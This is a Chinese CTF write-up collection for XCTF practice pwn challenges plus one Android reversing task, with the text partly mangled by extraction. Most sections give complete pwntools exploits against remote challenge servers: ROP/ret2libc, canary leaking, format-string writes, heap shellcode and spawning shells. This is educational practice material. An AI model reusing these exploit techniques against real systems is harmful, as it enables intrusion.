Pwn dice_game
题目来源: XCTF 4th-QCTF-2018
考点:栈溢出、混合编程
基本情况 程序实现的是一个具有用户姓名输入的菜随机数程序。
保护措施 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled ```` # 一开始我在纠结是输入数字时使用的是**短整型**,可不可能是整型溢出,这样既能保持低位数字符合要求,又能控制 rip 跳转到后门。一时想不起来是那一条题和这条很相似的,就这样怀疑。 最后观察是这里存在栈溢出: ```c __int64 __fastcall main(__int64 a1, char **a2, char **a3) { char buf[55]; // [rsp+0h] [rbp-50h] char v5; // [rsp+37h] [rbp-19h] ssize_t v6; // [rsp+38h] [rbp-18h] unsigned int seed[2]; // [rsp+40h] [rbp-10h] unsigned int v8; // [rsp+4Ch] [rbp-4h] memset(buf, 0, 0x30uLL); *(_QWORD *)seed = time(0LL); // 随机种子 printf("Welcome, let me know your name: ", a2); fflush(stdout); v6 = read(0, buf, 0x50uLL);//栈溢出 if ( v6 <= 49 ) // 字符长度小于等于49 buf[v6 - 1] = 0; // 最后一个字符替换为\x00 printf("Hi, %s. Let's play a game.\n", buf); fflush(stdout); srand(seed[0]); ………… }
这是个小范围的栈溢出,可以覆盖随机数 seed 。做到这里发现和这条题目完全一样:[guess_num](# guess_num)。
思路 固定随机数之后,就是 python c 的联合编程,用 ctypes
实现。
rand
缺省种子参数时默认使用种子为:0
。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *from ctypes import *context.log_level = 'debug' p = remote("124.126.19.106" ,45292 ) elf = ELF("./dice_game" ) libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6" ) payload = 'skye' .ljust(0x40 ,'a' ) + p64(0 ) p.recvuntil("name:" ) p.sendline(payload) for _ in range (50 ): p.recvuntil('Give me the point' ) p.sendline(str (libc.rand()%6 +1 )) p.interactive()
pwn1 [collapse title=”展开查看详情” status=”false”]
考点:栈溢出,canary绕过
基本情况 程序实现功能是往栈上读写数据。
保护措施 1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
栈溢出 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ...... while ( 1 ) { menu(); v3 = my_input(); switch ( v3 ) { case 2 : puts (&s); break ; case 3 : return 0LL ; case 1 : read(0 , &s, 0x100 uLL); break ; ......
栈溢出空间还是比较大的。
思路 使用栈溢出覆盖 canary 最后一字节,读取出 canary ,成功绕过 canary 保护。
1 2 3 4 5 6 7 8 payload = 'a' *0x89 add(payload) show() p.recvuntil('a' *0x89 ) canary = u64('\x00' +p.recv(7 )) log.success("canary:" +hex (canary))
题目没有预留后门,并提供 libc ,所以泄露 libc 调用 onegadget getshell 。泄露 libc 需要借助输出函数,即需要控制 rip 调用。
泄露 libc 还需要 rop 回到 main 执行下一步操作。
1 2 3 4 5 6 7 8 payload = 'a' *0x88 + p64(canary) + p64(0xdeadbeef ) payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt) payload += p64(start_addr) add(payload) leave() puts_leak=u64(p.recv(6 ).ljust(8 ,'\x00' )) log.success("puts_leak:" +hex (puts_leak))
最后再次控制 rip 。
1 2 3 4 5 payload = 'a' *0x88 + p64(canary) + p64(0xdeadbeef ) payload += p64(onegadget) add(payload) leave()
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from pwn import *context.log_level = 'debug' p = remote("124.126.19.106" ,51939 ) elf = ELF("./babystack" ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) def add (context ): p.recvuntil(">> " ) p.sendline('1' ) p.send(context) def show (): p.recvuntil(">> " ) p.sendline('2' ) def leave (): p.recvuntil(">> " ) p.sendline('3' ) payload = 'a' *0x89 add(payload) show() p.recvuntil('a' *0x89 ) canary = u64('\x00' +p.recv(7 )) log.success("canary:" +hex (canary)) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] pop_rdi = 0x0000000000400a93 start_addr = 0x400720 payload = 'a' *0x88 + p64(canary) + p64(0xdeadbeef ) payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt) payload += p64(start_addr) add(payload) leave() puts_leak=u64(p.recv(6 ).ljust(8 ,'\x00' )) log.success("puts_leak:" +hex (puts_leak)) libc_base = puts_leak - libc.symbols['puts' ] log.success("libc_base:" +hex (libc_base)) onegadget = libc_base + 0x45216 log.success("onegadget:" +hex (onegadget)) payload = 'a' *0x88 + p64(canary) + p64(0xdeadbeef ) payload += p64(onegadget) add(payload) leave() p.interactive()
[/collapse]
stack2
题目来源: XCTF 4th-QCTF-2018
[collapse title=”展开查看详情” status=”false”]
考点:数字下标溢出
保护情况:
1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
漏洞函数:
1 2 3 4 5 puts ("which number to change:" ); __isoc99_scanf("%d" , &index); puts ("new number:" );__isoc99_scanf("%d" , &num); num_list[index] = num;
程序中找到有预留的后门函数,所以通过数组越界修改返回地址到后门。所以需要寻找 num_list 与 eip 的偏移。
寻找 eip 在栈上地址比较容易,将断点打在 main 退出前(0x080488EF),查看寄存器值:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────── EAX 0x0 EBX 0x0 ECX 0xffffcfa0 ◂— 0x1 EDX 0xf7fb887c (_IO_stdfile_0_lock) ◂— 0x0 EDI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0 ESI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0 EBP 0x0 # 返回地址在栈上位置 ESP 0xffffcf9c —▸ 0xf7e1d637 (__libc_start_main+247) ◂— add esp, 0x10 EIP 0x80488f2 (main+802) ◂— 0x669066c3 ────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────── ► f 0 80488f2 main+802 f 1 f7e1d637 __libc_start_main+247 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
写入地址在写入或者 show 操作汇编打断点,下面在录入时打断点找:
1 2 3 4 5 6 7 8 9 080486B D call ___isoc99_scanf080486 C2 add esp, 10 h080486 C5 mov eax, [ebp+num]080486 CB mov ecx, eax080486 CD lea edx, [ebp+num_list]080486 D0 mov eax, [ebp+var_7C]080486 D3 add eax, edx080486 D5 mov [eax], cl080486 D7 add [ebp+var_7C], 1
调试查看寄存器找到地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 ────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────── EAX 0x56 EBX 0x0 ECX 0x56 # 写入地址 EDX 0xffffcf18 ◂— 0x45 /* 'E' */ EDI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0 ESI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0 EBP 0xffffcf88 ◂— 0x0 ESP 0xffffcee0 —▸ 0xf7ffda74 —▸ 0xf7fd5470 —▸ 0xf7ffd918 ◂— 0x0 EIP 0x80486d0 (main+256) ◂— 0x184458b ──────────────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────────── 0x80486c2 <main+242> add esp, 0x10 0x80486c5 <main+245> mov eax, dword ptr [ebp - 0x88] 0x80486cb <main+251> mov ecx, eax 0x80486cd <main+253> lea edx, [ebp - 0x70] ► 0x80486d0 <main+256> mov eax, dword ptr [ebp - 0x7c] 0x80486d3 <main+259> add eax, edx 0x80486d5 <main+261> mov byte ptr [eax], cl 0x80486d7 <main+263> add dword ptr [ebp - 0x7c], 1 0x80486db <main+267> mov edx, dword ptr [ebp - 0x7c] 0x80486de <main+270> mov eax, dword ptr [ebp - 0x90] 0x80486e4 <main+276> cmp edx, eax
计算得出偏移:0xffffcf9c
-0xffffcf18
=0x84
后门函数只能本地打通,远程服务器没有 bash 指令。 我就 ROP 和泄露 libc 地址了。看了大佬 wp 发现 system(sh)
也能 getshell ,所以脚本如下:
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *context.log_level = 'debug' p = process("./stack2" ) p = remote("124.126.19.106" ,42070 ) def change (index,context ): p.sendlineafter("exit" ,'3' ) p.sendlineafter('change' ,str (index)) p.sendlineafter("number" ,str (context)) p.sendlineafter("have:" ,'2' ) p.sendline(str (0x45 )) p.sendline(str (0x56 )) change(0x84 +0 ,0x50 ) change(0x84 +1 ,0x84 ) change(0x84 +2 ,0x04 ) change(0x84 +3 ,0x08 ) change(0x84 +8 ,0x87 ) change(0x84 +9 ,0x89 ) change(0x84 +10 ,0x04 ) change(0x84 +11 ,0x08 ) p.sendlineafter("exit" ,'5' ) p.interactive()
[/collapse]
note-service2 [collapse title=”展开查看详情” status=”false”]考点:堆上shellcode
保护情况:NX 保护关闭
1 2 3 4 5 6 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segments
漏洞函数:存放堆指针的数组可越界存放。也就是堆指针可放置到任意地方。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 int myadd () { int result; int v1; unsigned int chunk_size; result = dword_20209C; if ( dword_20209C >= 0 ) { result = dword_20209C; if ( dword_20209C <= 11 ) { printf ("index:" ); v1 = getinput(); printf ("size:" ); result = getinput(); chunk_size = result; if ( result >= 0 && result <= 8 ) { qword_2020A0[v1] = malloc (result); if ( !qword_2020A0[v1] ) { puts ("malloc error" ); exit (0 ); } printf ("content:" ); myread(qword_2020A0[v1], chunk_size); result = dword_20209C++ + 1 ; } } } return result; }
程序没有 NX 保护,可以将 shellcode 存放在堆上,然后通过数组越界覆盖 got 表调用 shellcode 。
程序限制堆大小不超过 8 ,且读入数据函数会占用最后一个字节写入 \x00
。可写入空间仅有 7 ,所以需要用汇编的跳转指令 jnz short xxx
,对应的十六进制为:EB xx
,其中 xx
为偏移量。偏移量计算公式为:xx = 目标地址 - 当前地址 -2
程序申请一个 size 为 8 的堆结构如下:图源
从 chunk 0 jmp 头开始计算:xx
= 2+1+8+8+8-2=0x19
构造一个调用 system 函数的shellcode ,然后数组越界覆盖一个可被控制输入参数的函数,例如 atoi ,传入参数 /bin/sh\x00
。这种构造方法要最后才修改 got 表,避免修改导致程序输入函数失效。
也可以到 shell-storm 找一个直接调用 system('/bin/sh')
的shellcode 一把梭哈。
完整 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from pwn import *context.log_level = 'debug' context(os='linux' ,arch='amd64' ) p = remote("124.126.19.106" ,41618 ) def add (index,size,content ): p.sendlineafter("your choice>> " ,'1' ) p.sendlineafter("index:" ,str (index)) p.sendlineafter("size:" ,str (size)) p.sendafter("content:" ,content) def delete (index ): p.sendlineafter("your choice>> " ,'4' ) p.sendlineafter("index:" ,str (index)) code0 = (asm('xor rax,rax' ) + '\x90\x90\xeb\x19' ) code1= (asm('mov eax,0x3B' ) + '\xeb\x19' ) code2 = (asm('xor rsi,rsi' ) + '\x90\x90\xeb\x19' ) code3 = (asm('xor rdx,rdx' ) + '\x90\x90\xeb\x19' ) code4 = (asm('syscall' ).ljust(7 ,'\x90' )) shellcode0 = "\x01\x30\x8f\xe2" + '\x90\xeb\x19' shellcode1 = "\x13\xff\x2f\xe1" + '\x90\xeb\x19' shellcode2 = "\x78\x46\x0e\x30" + '\x90\xeb\x19' shellcode3 = "\x01\x90\x49\x1a" + '\x90\xeb\x19' shellcode4 = "\x92\x1a\x08\x27" + '\x90\xeb\x19' shellcode5 = "\xc2\x51\x03\x37" + '\x90\xeb\x19' shellcode6 = "\x01\xdf\x2f\x62" + '\x90\xeb\x19' shellcode7 = "\x69\x6e\x2f\x2f" + '\x90\xeb\x19' shellcode8 = "\x73\x68" + '\x90\x90\x90\x90\x90' add(0 ,8 ,'a' *7 ) add(1 ,8 ,code1) add(2 ,8 ,code2) add(3 ,8 ,code3) add(4 ,8 ,code4) delete(0 ) add(-8 ,8 ,code0) p.sendlineafter("your choice>> " ,'/bin/sh\x00' ) p.interactive()
[/collapse]
pwn-100 [collapse title=”展开查看详情” status=”false”]考点:栈溢出、ROP
这个栈溢出每次固定要求输入 200 个字符,也没有别的了。
ROP 操作也不需要往 bss 写入 /bin/sh ,直接在 libc 找一个就好了。(看到网上有这样的操作orz)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import *context.log_level = 'debug' context(os='linux' ,arch='amd64' ) p = remote('124.126.19.106' ,35604 ) elf = ELF("./pwn-100" ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) pop_rdi_ret = 0x0000000000400763 start_addr = 0x400550 puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] payload = 'a' *0x40 + p64(0xdeadbeef ) payload += p64(pop_rdi_ret) + p64(puts_got) payload += p64(puts_plt) payload += p64(start_addr) payload = payload.ljust(200 ,'a' ) p.send(payload) p.recvuntil("bye~\n" ) puts_leak = u64(p.recv(6 ).ljust(8 ,'\x00' )) log.success("puts_leak:" +hex (puts_leak)) libc_base = puts_leak - libc.symbols['puts' ] log.success("libc_base:" +hex (libc_base)) system_addr = libc_base + libc.symbols['system' ] log.success("system_addr:" +hex (system_addr)) binsh_addr = libc_base + libc.search('/bin/sh' ).next () log.success("binsh_addr:" +hex (binsh_addr)) payload = 'a' *0x40 + p64(0xdeadbeef ) payload += p64(pop_rdi_ret) + p64(binsh_addr) payload += p64(system_addr) payload = payload.ljust(200 ,'a' ) p.send(payload) p.interactive()
[/collapse]
pwn-200 [collapse title=”展开查看详情” status=”false”]考点:栈溢出、泄露地址
漏洞函数如下:
1 2 3 4 5 6 7 ssize_t sub_8048484 () { char buf; setbuf(stdin , &buf); return read(0 , &buf, 0x100 u); }
可操作空间空间很长就不需要什么骚操作了。就是没给 libc 文件,需要去libc database 查一下而已。查到的话是这个:libc6-i386_2.23-0ubuntu11_amd64.so
完整 exp :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *context.log_level = 'debug' p = remote("159.138.137.79" ,55989 ) elf = ELF("./pwn" ) libc = ELF("./libc6-i386_2.23-0ubuntu11_amd64.so" ) read_plt = elf.plt['read' ] read_got = elf.got['read' ] write_plt = elf.plt['write' ] write_got = elf.got['write' ] main_addr = 0x080483D0 payload = 'a' *(0x6c +0x4 ) payload += p32(write_plt) + p32(main_addr) payload += p32(1 ) + p32(write_got) + p32(0x4 ) p.recvuntil("!\n" ) p.sendline(payload) write_leak = u32(p.recvuntil("Welcome" ,drop=1 )) log.success("write_leak:" +hex (write_leak)) libc_base = write_leak - libc.symbols['write' ] log.success("libc_base:" +hex (libc_base)) system = libc_base + libc.symbols['system' ] log.success("system:" +hex (system)) binsh = libc_base + libc.search("/bin/sh" ).next () log.success("binsh:" +hex (binsh)) payload = 'a' *(0x6c +0x4 ) payload += p32(system) + p32(main_addr) + p32(binsh) p.sendline(payload) p.interactive()
[/collapse]
CGfsb [collapse title=”展开查看详情” status=”false”]
考点:写入小数字格式化字符串
完整 exp :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *context.log_level = ';debug' ; p = remote("111.198.29.45" ,59528 ) pwnme = 0x0804A068 payload = "%8c%12$n" + p32(pwnme) p.recvuntil("name" ) p.sendline(';a' ;*0x8 ) p.recvuntil("please" ) p.sendline(payload) p.interactive()
[/collapse]
level3 [collapse title=”展开查看详情” status=”false”]
考点:栈溢出、ROP(ret2libc)
1 2 3 4 5 6 7 ssize_t vulnerable_function () { char buf; write(1 , "Input:\n" , 7u ); return read(0 , &buf, 0x100 u); }
打开了 NX 保护栈数据不可执行,程序没有预留后门。解决办法就是 ret2libc ,这种方法在《蒸米一步一步学ROP》中有详细讲解。 第一次执行是用于泄露 libc 地址;第二次调用 system 完成 ret2libc。
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *from libcSearch import *context.log_level = ';debug' ; p = remote("111.198.29.45" ,43333 ) elf = ELF("./level3" ) libc = ELF("./libc_32.so.6" ) write_plt = elf.plt[';write' ;] write_got = elf.got[';write' ;] main_addr = elf.symbols[';main' ;] payload = ';a' ;*0x88 +';a' ;*0x4 payload += p32(write_plt)+p32(main_addr) payload += p32(1 )+p32(write_got)+p32(4 ) p.sendlineafter("Input:\n" ,payload) write_leak = u32(p.recv()[:4 ]) log.success("write_leak:" +hex (write_leak)) libc_base = write_leak - libc.symbols[';write' ;] log.success("libc_base:" +hex (libc_base)) system_addr = libc_base + libc.symbols[';system' ;] log.success("system_addr:" +hex (system_addr)) binsh_addr = libc.search("/bin/sh" ).next () + libc_base log.success("binsh_addr:" +hex (binsh_addr)) payload = ';a' ;*0x88 +';a' ;*0x4 payload += p32(system_addr)+p32(0xdeadbeef ) payload += p32(binsh_addr) p.sendline(payload) p.interactive()
[/collapse]
int_overflow [collapse title=”展开查看详情” status=”false”]
栈溢出。位置在 check_passwd strcpy ,s 最大长度为 0x199 。不能直接进行溢出,有检查 s 长度的函数,设想是限定在 4~8 。重点在于 s 的长度存储变量使用的是 unsigned int 类型,也就是最大长度为 255 (2的8次方-1)。
要绕过这个限制才能溢出控制 eip 。绕过方法很简单,这个变量存储单元是 8 位,如果长度为 256 的话,程序就认为长度为 0 。因为 256 的二进制是 0b100000000 ,低八位为 0b00000000 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 char *__cdecl check_passwd (char *s) { char *result; char dest; unsigned __int8 v3; v3 = strlen (s); if ( v3 <= 3u || v3 > 8u ) { puts ("Invalid Password" ); result = (char *)fflush(stdout ); } else { puts ("Success" ); fflush(stdout ); result = strcpy (&dest, s); } return result; }
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *context.log_level = ';debug' ; p = remote(';111.198.29.45' ;,30389 ) what_is_this = 0x0804868B payload = ';a' ;*0x14 payload += ';a' ;*0x4 payload += p32(what_is_this) payload = payload.ljust(256 +6 ,';b' ;) p.sendlineafter(';choice:' ;,';1' ;) p.sendlineafter(';username:' ;,';author_skye' ;) p.recvuntil(';passwd:' ;) p.send(payload) p.interactive()
[/collapse]
guess_num [collapse title=”展开查看详情” status=”false”]
考察点:利用栈溢出固定随机数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { int v4; int i; int v6; char v7; unsigned int seed[2 ]; unsigned __int64 v9; v9 = __readfsqword(0x28 u); setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); setbuf(stderr , 0LL ); v4 = 0 ; v6 = 0 ; *(_QWORD *)seed = sub_BB0(); puts ("-------------------------------" ); puts ("Welcome to a guess number game!" ); puts ("-------------------------------" ); puts ("Please let me know your name!" ); printf ("Your name:" , 0LL ); gets((__int64)&v7); srand(seed[0 ]); for ( i = 0 ; i <= 9 ; ++i ) { v6 = rand() % 6 + 1 ; printf ("-------------Turn:%d-------------\n" , (unsigned int )(i + 1 )); printf ("Please input your guess number:" ); __isoc99_scanf("%d" , &v4); puts ("---------------------------------" ); if ( v4 != v6 ) { puts ("GG!" ); exit (1 ); } puts ("Success!" ); } sub_C3E(); return 0LL ; }
由于题目开启 Canary 不能直接控制 eip ,观察栈空间发现 v7 位于 seed 前面。
1 2 3 4 5 6 7 8 9 10 11 12 -000000000000003C var_3C dd ? -0000000000000038 var_38 dd ? -0000000000000034 var_34 dd ? -0000000000000030 v7 db ? -000000000000002F db ? ; undefined -000000000000002E db ? ; undefined ………… ………… -0000000000000010 seed dd 2 dup(?) -0000000000000008 var_8 dq ? +0000000000000000 s db 8 dup(?) +0000000000000008 r db 8 dup(?)
随机数的随机性是基于 seed 种子,当固定 seed 时,实际上生成的是伪随机数,也就是一个固定的值。这道题几时利用 gets 造成栈溢出覆盖 seed 固定生成随机数,配合 ctypes 库实现 python、c 混合编程。
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *from ctypes import *context.log_level = ';debug' ; p = remote("111.198.29.45" ,57280 ) libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6" ) payload = "a" * 0x20 + p64(1 ) p.recvuntil(';Your name:' ;) p.sendline(payload) libc.srand(1 ) for _ in range (10 ): num = str (libc.rand()%6 +1 ) p.recvuntil(';number:' ;) p.sendline(num) p.interactive()
[/collapse]
string [collapse title=”展开查看详情” status=”false”]
考点:格式化字符串任意地址写小数
题目前面有几个条件循环绕过,反编译就能看出,不再赘述。看漏洞函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 unsigned __int64 sub_400BB9 () { int v1; __int64 v2; char format; unsigned __int64 v4; v4 = __readfsqword(0x28 u); v2 = 0LL ; puts ("You travel a short distance east.That';s odd, anyone disappear suddenly" ); puts (", what happend?! You just travel , and find another hole" ); puts ("You recall, a big black hole will suckk you into it! Know what should you do?" ); puts ("go into there(1), or leave(0)?:" ); _isoc99_scanf((__int64)"%d" , (__int64)&v1); if ( v1 == 1 ) { puts ("A voice heard in your mind" ); puts ("';Give me an address';" ); _isoc99_scanf((__int64)"%ld" , (__int64)&v2); puts ("And, you wish is:" ); _isoc99_scanf((__int64)"%s" , (__int64)&format); puts ("Your wish is" ) ; printf (&format, &format); puts ("I hear it, I hear it...." ); } return __readfsqword(0x28 u) ^ v4; }
可控制的第一个参数是在 18 行,偏移为 7 。这里利用方式有多种,利用偏移 7 和 8 控制任意写入,也可只利用偏移 8 任意输入。(exp 使用偏移 7 和 8)
修改 v3 值后,绕过最后一个障碍。然后写入一段 shellcode 即可。shellcraft 生成的没有效果,就去 http://shell-storm.org/ 找了一个。
完整 exp :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import *context.log_level = ';debug' ; p = remote("111.198.29.45" ,48602 ) p.recvuntil("secret[0] is " ) v3 = int (p.recvuntil(';\n' ;,drop=True ),16 ) log.success("v3:" +hex (v3)) p.recvuntil("secret[1] is " ) v3_1 = int (p.recvuntil(';\n' ;,drop=True ),16 ) log.success("v3_1:" +hex (v3_1)) payload = "%85c%7$n" p.recvuntil("name" ) p.sendline(';a' ;*0xc ) p.recvuntil("up?:" ) p.sendline("east" ) p.recvuntil("leave(0)?:" ) p.sendline(str (1 )) p.recvuntil("address" ) p.sendline(str (v3)) p.recvuntil("is:" ) p.sendline("%85c%7$n" ) shellcode = "\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05" p.recvuntil("USE YOU SPELL" ) p.sendline(shellcode) p.interactive()
[/collapse]
Mobile eastjni 考点:自定义密码表base加密、so
分析 前面的怎么定位 java 层关键位置就略过,查一下错误弹窗就能找到。
输入字符串会作为 mainactivity/a 的参数输入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 private boolean a (String paramString) { try { a locala = new com/a/easyjni/a; locala.<init>(); bool = ncheck(locala.a(paramString.getBytes())); return bool; } catch (Exception paramString) { for (;;) { boolean bool = false ; } } }
然后又作为 com/a/easyjni/a 的参数输入,到达第一层加密:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 public class a { private static final char [] a = { 105 , 53 , 106 , 76 , 87 , 55 , 83 , 48 , 71 , 88 , 54 , 117 , 102 , 49 , 99 , 118 , 51 , 110 , 121 , 52 , 113 , 56 , 101 , 115 , 50 , 81 , 43 , 98 , 100 , 107 , 89 , 103 , 75 , 79 , 73 , 84 , 47 , 116 , 65 , 120 , 85 , 114 , 70 , 108 , 86 , 80 , 122 , 104 , 109 , 111 , 119 , 57 , 66 , 72 , 67 , 77 , 68 , 112 , 69 , 97 , 74 , 82 , 90 , 78 }; public String a (byte [] paramArrayOfByte) { StringBuilder localStringBuilder = new StringBuilder(); for (int i = 0 ; i <= paramArrayOfByte.length - 1 ; i += 3 ) { byte [] arrayOfByte = new byte [4 ]; int j = 0 ; int k = 0 ; if (j <= 2 ) { if (i + j <= paramArrayOfByte.length - 1 ) { arrayOfByte[j] = ((byte )(byte )(k | (paramArrayOfByte[(i + j)] & 0xFF ) >>> j * 2 + 2 )); } for (k = (byte )(((paramArrayOfByte[(i + j)] & 0xFF ) << (2 - j) * 2 + 2 & 0xFF ) >>> 2 );; k = 64 ) { j++; break ; arrayOfByte[j] = ((byte )k); } } arrayOfByte[3 ] = ((byte )k); k = 0 ; if (k <= 3 ) { if (arrayOfByte[k] <= 63 ) { localStringBuilder.append(a[arrayOfByte[k]]); } for (;;) { k++; break ; localStringBuilder.append('=' ); } } } return localStringBuilder.toString(); } }
每一个字符都进行一次加密,每轮加密都会有 & 、>> 操作,且最后会加上 == ,推断是 base 加密。然后根据密码表 a 判断是自定义密码表的 base 加密方式。
第一次加密完成后的返回值作为 ncheck 的参数,这是一个加载的 so 中的函数:System.loadLibrary("native");
。分析这个函数需要到 so 文件里面,so 文件在 lib/armeabi-v7a/libnative.so 。
进入到 ncheck 函数后,再进行两次加密,分别是:前 16 位与后 16 位互换;前 1 位与后 1 位互换:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 signed int __fastcall Java_com_a_easyjni_MainActivity_ncheck (int a1, int a2, int a3) {………… v6 = (const char *)(*(int (__fastcall **)(int , int , _DWORD))(*(_DWORD *)a1 + 676 ))(a1, a3, 0 ); if ( strlen (v6) == 32 ) { v7 = 0 ; do { v8 = &s1[v7]; s1[v7] = v6[v7 + 16 ]; v9 = v6[v7++]; v8[16 ] = v9; } while ( v7 != 16 ); (*(void (__fastcall **)(int , int , const char *))(*(_DWORD *)v4 + 680 ))(v4, v5, v6); v10 = 0 ; do { v12 = __OFSUB__(v10, 30 ); v11 = v10 - 30 < 0 ; v16 = s1[v10]; s1[v10] = s1[v10 + 1 ]; s1[v10 + 1 ] = v16; v10 += 2 ; } while ( v11 ^ v12 ); v13 = memcmp (s1, "MbT3sQgX039i3g==AQOoMQFPskB1Bsc7" , 0x20 u); ………… }
思路 首先将密文:MbT3sQgX039i3g==AQOoMQFPskB1Bsc7
还原:
1 2 3 4 5 6 7 8 9 c = list ("AQOoMQFPskB1Bsc7MbT3sQgX039i3g==" ) for i in range (0 ,len (c),2 ): v9 = c[i] c[i] = c[i+1 ] c[i+1 ] = v9 c = '' .join(c) print("flag:{}" .format (c))
然后实现自定义密码表 base 解码,我找到的一个脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 s = "i5jLW7S0GX6uf1cv3ny4q8es2Q+bdkYgKOIT/tAxUrFlVPzhmow9BHCMDpEaJRZN" def My_base64_encode (inputs ): bin_str = [] for i in inputs: x = str (bin (ord (i))).replace('0b' , '' ) bin_str.append('{:0>8}' .format (x)) outputs = "" nums = 0 while bin_str: temp_list = bin_str[:3 ] if (len (temp_list) != 3 ): nums = 3 - len (temp_list) while len (temp_list) < 3 : temp_list += ['0' * 8 ] temp_str = "" .join(temp_list) temp_str_list = [] for i in range (0 ,4 ): temp_str_list.append(int (temp_str[i*6 :(i+1 )*6 ],2 )) if nums: temp_str_list = temp_str_list[0 :4 - nums] for i in temp_str_list: outputs += s[i] bin_str = bin_str[3 :] outputs += nums * '=' print("Encrypted String:\n%s " %outputs) def My_base64_decode (inputs ): bin_str = [] for i in inputs: if i != '=' : x = str (bin (s.index(i))).replace('0b' , '' ) bin_str.append('{:0>6}' .format (x)) outputs = "" nums = inputs.count('=' ) while bin_str: temp_list = bin_str[:4 ] temp_str = "" .join(temp_list) if (len (temp_str) % 8 != 0 ): temp_str = temp_str[0 :-1 * nums * 2 ] for i in range (0 ,int (len (temp_str) / 8 )): outputs += chr (int (temp_str[i*8 :(i+1 )*8 ],2 )) bin_str = bin_str[4 :] print("Decrypted String:\n%s " %outputs) print() print(" *************************************" ) print(" * (1)encode (2)decode *" ) print(" *************************************" ) print() num = input ("Please select the operation you want to perform:\n" ) if (num == "1" ): input_str = input ("Please enter a string that needs to be encrypted: \n" ) My_base64_encode(input_str) else : input_str 